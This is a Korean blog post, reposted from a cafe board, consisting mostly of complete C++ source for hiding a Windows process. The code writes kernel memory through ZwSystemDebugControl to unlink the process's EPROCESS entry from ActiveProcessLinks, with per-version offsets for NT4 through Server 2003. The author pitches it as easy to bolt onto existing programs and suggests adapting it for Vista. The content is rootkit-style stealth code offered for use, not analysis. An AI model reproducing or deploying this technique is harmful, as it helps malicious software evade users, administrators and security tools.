http://cafe.naver.com/develx/26
위 주소에서 얻어옴...
///////////////////////////////////
어플리케이션 level에서 자신의 커널 level의 정보를 수정, 프로세서 고리를 끊는 방법으로
자기자신을 숨긴다.
별도의 디바이스드라이버를 작성하거나 등록 할 필요가 없어서 기존 프로그램에 손 쉽게 붙일 수 있다.
단지, 이 프로그램.... VISTA에서 안 돌아간다는거...
코드를 좀 수정하면 비스타에서도 가능 할 듯.. (프로세서 구조체의 번지만 다시 찾는다면은...)
// homin.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include <malloc.h>
#include <windows.h>
//NTSTATUS값이 0이상이면 보통 성공한 상태를 의미한다
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
//사이즈를 잘못 맞춘 경우
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
//NT함수가 사용하는 리턴 값인 NTSTATUS는 LONG형으로 정의된다
typedef LONG NTSTATUS;
//원래 값이 엄청 많다
//16은 레퍼런스에는 나와있지 않은 값인데,
//이를 넣을 경우 SYSTEM_HANDLE_INFORMATION을 얻을 수 있다
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
//시스템 핸들에 대한 정보를 가지고 있다
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//가상 메모리에 데이터를 쓰거나 읽을 때 사용하는 구조체이다
typedef struct _MEMORY_CHUNKS
{
PVOID pVirtualAddress;
PVOID pBuffer;
DWORD dwBufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;
//ZwSystemDebugControl의 첫 번째 인자
typedef enum _SYSDBG_COMMAND
{
SysDbgCopyMemoryChunks_0 = 0x08, //가상 메모리로부터 데이터를 읽을 때
SysDbgCopyMemoryChunks_1 = 0x09, //가상 메모리에 데이터를 쓸 때
} SYSDBG_COMMAND;
//DLL로 부터 로드해 사용해야 한다.. windows.h에 정의되어있지 않다
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS
SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWSYSTEMDEBUGCONTROL ) ( IN SYSDBG_COMMAND SysDbgChunks,
IN OUT PMEMORY_CHUNKS pQueryBuff,
DWORD dwSize, DWORD, DWORD, NTSTATUS *pResult);
//***********************************************************//
// ZwQuerySystemInformation은 시스템 정보를 얻어오는 함수로, //
// 첫 번째 인자에 16을 넘길 경우 현재 로드 되어있는 모든 //
// 핸들의 정보를 얻어오도록 되어있다. //
//***********************************************************//
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
//***********************************************************//
// ZwSystemDebugControl은 시스템 디버그에 관련된 명령을 수행 //
// 하는 함수로, 8또는 9를 넘길 경우 가상 메모리 공간을 //
// 읽거나 쓴다. //
//***********************************************************//
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl;
BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess); //알맞는 권한을 획득한다
BOOL GetNativeAPIAddress(); //Native API의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId); //주어진 프로세스의 시스템 핸들 정보를 얻어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize); //가상 메모리 공간을 읽는다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize); //가상 메모리 공간에 데이터를 쓴다
BOOL HideProcess(DWORD dwProcessId); //프로세스를 숨긴다
BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess)
{
//권한 토큰 구조체
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
//lpName으로 지정된 권한 이름에 대한 LUID를 얻어낸다
LookupPrivilegeValue(0, lpName, &priv.Privileges[0].Luid);
//프로세스의 토큰 핸들을 얻고
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
//입력받은 권한으로 프로세스 권한을 바꾼다
AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0);
BOOL rv = GetLastError() == ERROR_SUCCESS;
CloseHandle(hToken);
return rv;
}
//Native API의 주소를 얻어온다
BOOL GetNativeAPIAddress()
{
//ntdll.dll로드
HMODULE hNTDll;
if( (hNTDll = GetModuleHandle("ntdll.dll")) == NULL )
if( (hNTDll = LoadLibrary("ntdll.dll")) == NULL )
return FALSE;
//ZwQuerySystemInformation로드
if( (ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
hNTDll, "ZwQuerySystemInformation")) == NULL )
return FALSE;
//ZwSystemDebugControl로드
if( (ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL)GetProcAddress(
hNTDll, "ZwSystemDebugControl")) == NULL )
return FALSE;
return TRUE;
}
//프로세스의 아이디로 부터 ActiveProcessLinks정보를 가진 EPROCESS구조체의
//가상 메모리 공간상의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId)
{
NTSTATUS result;
PVOID pBuffer = NULL; //데이터를 읽어올 배열
PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo; //핸들 정보 배열
PSYSTEM_HANDLE_INFORMATION pProcessHandle = NULL; //리턴할 값
//핸들의 수를 모르기 때문에, 적당한 사이즈를 알 수 없다
//때문에 반복문을 돌면서 그 값을 찾아야 한다
for( ULONG ulSize=1; ; ulSize *= 2 )
{
//정한 사이즈로 메모리를 할당한다
if( (pBuffer = malloc(ulSize) ) == NULL )
//실패할 경우 NULL 리턴
return NULL;
//시스템에 로드된 모든 핸들의 정보를 조사한다
result = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, ulSize, NULL);
//실패할 경우
if( !NT_SUCCESS(result) )
{
//메모리 해제
free(pBuffer);
//사이즈를 잘못 정했다면 반복문을 계속 수행한다
if( result == STATUS_INFO_LENGTH_MISMATCH )
{
pBuffer = NULL;
}
//사이즈를 제대로 정했는데 실패한 것이라면 NULL을 리턴
else
{
return NULL;
}
}
//성공한 경우
else
//반복문을 빠져나간다
break;
}
//읽어온 데이터의 첫 번째 4바이트는 배열의 길이 정보이다
ULONG ulNumberOfHandles = *(PULONG)pBuffer;
//다음 4바이트 부터는 SYSTEM_HANDLE_INFORMATION구조체의 배열이다
pSystemHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PBYTE)pBuffer + sizeof(ULONG));
//핸들의 수 만큼 반복문을 돌면서
for( ULONG i=0; i<ulNumberOfHandles; i++ )
{
//입력받은 프로세스의 아이디와 일치하는 프로세스 아이디를 가지는
//프로세스 핸들을 찾을 경우
// (SYSTEM_HANDLE_INFORMATION구조체의 ObjectTypeNumber는
// 오브젝트의 종류를 나타내는 것으로, 5번은 프로세스를 뜻한다)
if( pSystemHandleInfo[i].ProcessId == ulProcessId &&
pSystemHandleInfo[i].ObjectTypeNumber == 5 )
{
//리턴할 값으로 저장하고 반복문을 빠져나간다
pProcessHandle = new SYSTEM_HANDLE_INFORMATION;
memcpy(pProcessHandle, pSystemHandleInfo + i, sizeof(SYSTEM_HANDLE_INFORMATION));
break;
}
}
//메모리 해제
if( pBuffer )
free(pBuffer);
//찾아낸 값을 리턴
return pProcessHandle;
}
//가상 메모리 공간을 읽어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
NTSTATUS result;
//메모리 청크 구조체
MEMORY_CHUNKS QueryBuff;
QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
QueryBuff.pBuffer = pBuffer; //버퍼의 주소
QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기
//가상 메모리 공간을 읽어서 버퍼에 기록한다
ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, &QueryBuff,
sizeof(MEMORY_CHUNKS), NULL, 0, &result);
return NT_SUCCESS(result);
}
//가상 메모리 공간에 데이터를 쓴다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
NTSTATUS result;
//메모리 청크 구조체
MEMORY_CHUNKS QueryBuff;
QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
QueryBuff.pBuffer = pBuffer; //버퍼의 주소
QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기
//버퍼로 부터 값을 읽어서 가상 메모리 공간에 기록한다
ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, &QueryBuff,
sizeof(MEMORY_CHUNKS), NULL, 0, &result);
return NT_SUCCESS(result);
}
//프로세스를 감춘다
BOOL HideProcess(DWORD dwProcessId)
{
//OS의 버젼에 따라 EPROCESS내의 ActiveProcessLinks의 오프셋이 다르기 때문에
//OS의 버젼을 파악하고 그에 따라 오프셋을 맞추어야 한다
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
//OS의 버젼을 얻어온다
GetVersionEx(&osvi);
int nFOffset, nBOffset;
if( osvi.dwMajorVersion == 5 )
{
switch( osvi.dwMinorVersion )
{
case 0: //Win2K
nFOffset = 0xa0;
nBOffset = 0xa4;
break;
case 1: //WinXP
nFOffset = 0x88;
nBOffset = 0x8C;
break;
case 2: //Win2003
nFOffset = 0x8a;
nBOffset = 0x8e;
break;
default:
return FALSE;
}
}
else if( osvi.dwMajorVersion == 4 &&
osvi.dwMinorVersion == 0 &&
osvi.dwPlatformId == 2 ) //WinNT
{
nFOffset = 0x98;
nBOffset = 0x9c;
}
else
return FALSE;
//프로세스를 열어야만 프로세스 핸들이 시스템에 로드된다
//프로세스를 연다
OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
//주어진 프로세스의 시스템 핸들 정보를 얻어온다
PSYSTEM_HANDLE_INFORMATION pProcessHandle = GetProcessSystemHandleInfo(dwProcessId);
//잘못된 값을 얻어온 경우 리턴
if( pProcessHandle == NULL )
return FALSE;
//EPORCESS의 가상 메모리 공간상의 주소를 얻어온다
PVOID pEProcess = pProcessHandle->Object;
delete pProcessHandle;
//프로세스 핸들을 얻어온다 - 디버그 권한 설정에 사용된다
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
//디버그 권한을 설정한다
if( EnablePrivilege(SE_DEBUG_NAME, hProcess) == FALSE )
return FALSE;
CloseHandle(hProcess);
PVOID pFlink;
PVOID pBlink;
//ActiveProcessLinks의 Flink와 Blink의 가상 메모리 공간상의 주소를 얻어온다
if( ReadVirtualMemory((BYTE *)pEProcess + nFOffset, &pFlink, sizeof(PVOID)) )
if( ReadVirtualMemory((BYTE *)pEProcess + nBOffset, &pBlink, sizeof(PVOID)) )
//Flink의 Blink에 Blink를, Blink의 Flink에 Flink를 기록하여,
//프로세스를 리스트에서 제거한다
if( WriteVirtualMemory((BYTE *)pFlink + sizeof(PLIST_ENTRY), &pBlink, sizeof(PVOID)) )
if( WriteVirtualMemory((BYTE *)pBlink, &pFlink, sizeof(PVOID)) )
return TRUE;
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
GetNativeAPIAddress();
HideProcess(GetCurrentProcessId());
while(1) {
::OutputDebugString("김호민 바보ㅋㅋ");
Sleep(1000);
}
return 0;
}
'커널, 드라이버' 카테고리의 다른 글
디바이스 드라이버에서 3가지 버퍼 전달 방식 (0) | 2009.11.01 |
---|---|
운영체제의 메모리 관리 (1) | 2009.10.31 |
여러가지 훜 기법들과 탐지법들.... (2) | 2008.09.03 |
장치 드라이버 기초와 프로그래밍 Study (1) | 2008.08.01 |
SCM(services.exe) (0) | 2008.07.28 |
Windows Kernel(윈도우즈 커널) (0) | 2008.07.26 |